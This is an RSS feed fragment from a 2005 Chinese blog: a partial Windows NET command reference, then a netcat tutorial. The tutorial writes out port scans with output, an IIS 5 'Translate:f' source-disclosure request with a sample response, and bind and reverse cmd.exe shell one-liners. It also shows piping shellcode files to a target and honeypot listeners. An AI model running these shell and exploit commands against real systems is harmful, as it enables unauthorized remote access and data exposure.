<BR><BR>(2)NET INIT <BR><BR>作 用：不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用) <BR><BR>命令格式：NET INITIALIZE [/DYNAMIC] <BR><BR>(3)NET LOGOFF <BR><BR>作 用：断开连接的共享资源(不能在DOS-WIN中用) ( <BR><BR>(4)NET LOGON <BR><BR>作 用：在WORKGROUP中登陆(不能在DOS-WIN中用) <BR><BR>命令格式：NET LOGON [user [password | ?]] [/DOMAIN:name] [/YES] [/SAVEPW:NO] <BR><BR>(5)NET PASSWORD <BR><BR>作 用：更改你的网络登陆口令(不能在DOS-WIN中用) <BR><BR>命令格式：NET PASSWORD \\computer | /DOMAIN:name [user [oldpassword [newpassword]]] <img src ="http://www.blogjava.net/kenneth/aggbug/11733.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kenneth/" target="_blank">Kenneth Blog</a> 2005-09-01 12:43 <a href="http://www.blogjava.net/kenneth/archive/2005/09/01/11733.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>nc的用法</title><link>http://www.blogjava.net/kenneth/archive/2005/09/01/11730.html</link><dc:creator>Kenneth Blog</dc:creator><author>Kenneth Blog</author><pubDate>Thu, 01 Sep 2005 04:28:00 GMT</pubDate><guid>http://www.blogjava.net/kenneth/archive/2005/09/01/11730.html</guid><wfw:comment>http://www.blogjava.net/kenneth/comments/11730.html</wfw:comment><comments>http://www.blogjava.net/kenneth/archive/2005/09/01/11730.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kenneth/comments/commentRss/11730.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kenneth/services/trackbacks/11730.html</trackback:ping><description><![CDATA[<P>netcat被誉为网络安全界的‘瑞士军刀'，相信没有什么人不认识它吧...... <BR>一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具， <BR>能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几 <BR>乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。 <BR><BR>在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由‘红与黑'编译 <BR>后的新‘浓缩'版。‘浓缩'版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法， <BR>有此功能的原版NC好象要60KB：P），虽然"体积"小，但很完成很多工作。 <BR><BR>1、基本使用 <BR>想要连接到某处: nc [-options] hostname port[s] [ports] ... <BR>绑定端口等待连接: nc -l -p port [-options] [hostname] [port] <BR>参数: <BR>-e prog 程序重定向，一旦连接，就执行 [危险!!] <BR>-g gateway source-routing hop point[s], up to 8 <BR>-G num source-routing pointer: 4, 8, 12, ... <BR>-h 帮助信息 <BR>-i secs 延时的间隔 <BR>-l 监听模式，用于入站连接 <BR>-n 指定数字的IP地址，不能用hostname <BR>-o file 记录16进制的传输 <BR>-p port 本地端口号 <BR>-r 任意指定本地及远程端口 <BR>-s addr 本地源地址 <BR>-u UDP模式 <BR>-v 详细输出——用两个-v可得到更详细的内容 <BR>-w secs timeout的时间 <BR>-z 将输入输出关掉——用于扫描时 <BR>其中端口号可以指定一个或者用lo-hi式的指定范围。 <BR>例如：扫描端口 <BR>tcp扫描 <BR>C:\nc&gt;nc -v -z -w2 192.168.0.80 1-140 <BR>net [192.168.0.80] 140 (?) <BR>net [192.168.0.80] 139 (netbios-ssn) open <BR>net [192.168.0.80] 138 (?) <BR>net [192.168.0.80] 137 (netbios-ns) <BR>net [192.168.0.80] 136 (?) <BR>net [192.168.0.80] 135 (epmap) open <BR>net [192.168.0.80] 81 (?) open <BR>net [192.168.0.80] 80 (http) open <BR>net [192.168.0.80] 79 (finger) <BR>net [192.168.0.80] 25 (smtp) open <BR>net [192.168.0.80] 24 (?) <BR>net [192.168.0.80] 23 (telnet) <BR>net [192.168.0.80] 21 (ftp) <BR>udp扫描 <BR>C:\nc&gt;nc -u -v -z -w2 192.168.0.80 1-140 <BR>net [192.168.0.80] 140 (?) open <BR>net [192.168.0.80] 139 (?) open <BR>net [192.168.0.80] 138 (netbios-dgm) open <BR>net [192.168.0.80] 137 (netbios-ns) open <BR>net [192.168.0.80] 54 (?) open <BR>net [192.168.0.80] 53 (domain) open <BR>net [192.168.0.80] 38 (?) open <BR>net [192.168.0.80] 37 (time) open <BR>net [192.168.0.80] 7 (echo) open <BR>二、高级应用 <BR>1．Window用法： <BR>（1）IE的MIME欺骗 <BR>http://www.try2hack..nl(?.....客技术的人去做实验的站点) <BR>打开这个页面，有http://www.try2hack.nl/cgi-bin/level7.pl页面（这个网站提供了黑客的8关，过了这8关证明你开始入门了），这个页面告诉我们的浏览器不是 IE6.72,我们的*作系统不是LIUNX,我们不是从www.microsoft.com/ms.htm重定向链接过去的，有病阿（这是一个题目呀，要慢慢研究），linux有IE6.72? 微软会在它的页面上放http://www.try2hack.nl/cgi-bin/level7.pl的链接？看看页面的源代码，level7.pl是在服务器端 执行的perl脚本，根本无法看到，还是研究一下IE5和它通信时都告诉了它什么，抓包，我们会发现，我们的IE5告诉对方： 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈，level7.pl这个cgi应该是根据这些信息知道我们不是它要求的 客户，嘿嘿，需要欺骗对方才行，用军刀来可以实现，如下做就可以哄对方了： <BR>nc http://www.try2hack.nl 80 [enter] <BR>GET /cgi-bin/level7.pl HTTP/1.1 [enter] <BR>Accept: image/gif, image/x-xbitmap, application/msword, */* [enter] <BR>Refererhttp://www.microsoft.com/ms.htm [enter] <BR>Accept-Language: zh-cn [enter] <BR>Accept-Encoding: gzip, deflate [enter] <BR>User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter] <BR>Host: http://www.try2hack.nl [enter] <BR>Connection: <BR>Keep-Alive [enter] <BR>注意，如果出现HTTP 400时，说明你输入格式有问题，出现httpd 200回应时，就给出结果了： <BR>哈哈！赶快去实现一下（实践是成功之母） <BR>（2）IIS 5 “Translate:f” 显示代码脆弱点 <BR>Translate:f脆弱点的机制：发送一个畸形的HTTP GET 请求给服务器方一个可执行脚本或相关文件类型（例如.ASP或者global.asa）。这些文件是用于服务器上运行的，绝不会到客户机上去，而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上，而不是在服务器上运行。这种畸形的HTTP GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f，并有一个反斜杠”\”附于URL之后。下面就有这样的一个例子（[CRLF]代表回车字符） <BR>注意 GET global.asa 后的反斜杠以及Translate:f头信息。 <BR>GET /global.asa\ HTTP/1.0 <BR>Host:192.168.0.1 <BR>User-Agent:SensePostData <BR>Content-Type:application/x-www-form-urlencoded <BR>Translate:f <BR>[CRLF] <BR>[CRLF] <BR>将以上内容保存在一个文本文件中（例如example.txt） <BR>然后向一个有这个漏洞的服务器发送 <BR>c:\&gt;type example.txt | nc –nvv 192.168.0.80 80 <BR>(UNKNOWN) [192.168.0.80] 80 (?) open <BR>HTTP/1.1 200 OK <BR>Server: Microsoft-IIS/5.0 <BR>Date: Tue, 03 Dec 2002 08:50:46 GMT <BR>Content-Type: application/octet-stream <BR>Content-Length: 2790 <BR>ETag: “0448299fcd6df1:bea” <BR>Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT <BR>Accept-Ranges: bytes <BR>Cache-Control: no-cache <BR><BR><BR><BR>举例：<BR><BR>1)连接到REMOTE主机，例子：<BR>格式：nc -nvv 192.168.x.x 80<BR>讲解：连到192.168.x.x的TCP80端口<BR><BR><BR>2)监听LOCAL主机，例子：<BR>格式：nc -l -p 80<BR>讲解：监听本机的TCP80端口<BR><BR><BR>3)扫描远程主机，例子：<BR>格式：nc -nvv -w2 -z 192.168.x.x 80-445<BR>讲解：扫描192.168.x.x的TCP80到TCP445的所有端口<BR><BR><BR>4)REMOTE主机绑定SHELL，例子：<BR>格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe<BR>讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口<BR><BR><BR>5)REMOTE主机绑定SHELL并反向连接，例子：<BR>格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354<BR>讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口<BR><BR><BR>以上为最基本的几种用法（其实NC的用法还有很多，<BR>当配合管道命令"|"与重定向命令"&lt;"、"&gt;"等等命令功能更强大......）。<BR><BR>=====================================================================================================<BR>高级用法：<BR><BR>6)作攻击程序用，例子：<BR>格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80<BR>格式2：nc -nvv 192.168.x.x 80 &lt; c:\exploit.txt<BR>讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果，<BR>真是有异曲同工之妙:P)<BR><BR>附：'c:\exploit.txt'为shellcode等<BR><BR><BR>7)作蜜罐用[1]，例子：<BR>格式：nc -L -p 80<BR>讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止<BR><BR><BR><BR>8)作蜜罐用[2]，例子：<BR>格式：nc -L -p 80 &gt; c:\log.txt<BR>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把‘&gt;'<BR>改为‘&gt;&gt;'即可以追加日志<BR><BR>附：'c:\log.txt'为日志等<BR><BR><BR>9)作蜜罐用[3]，例子：<BR>格式1：nc -L -p 80 &lt; c:\honeypot.txt<BR>格式2：type.exe c:\honeypot.txt|nc -L -p 80<BR>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容‘送'入其<BR>管道中<BR></P><img src ="http://www.blogjava.net/kenneth/aggbug/11730.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kenneth/" target="_blank">Kenneth Blog</a> 2005-09-01 12:28 <a href="http://www.blogjava.net/kenneth/archive/2005/09/01/11730.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>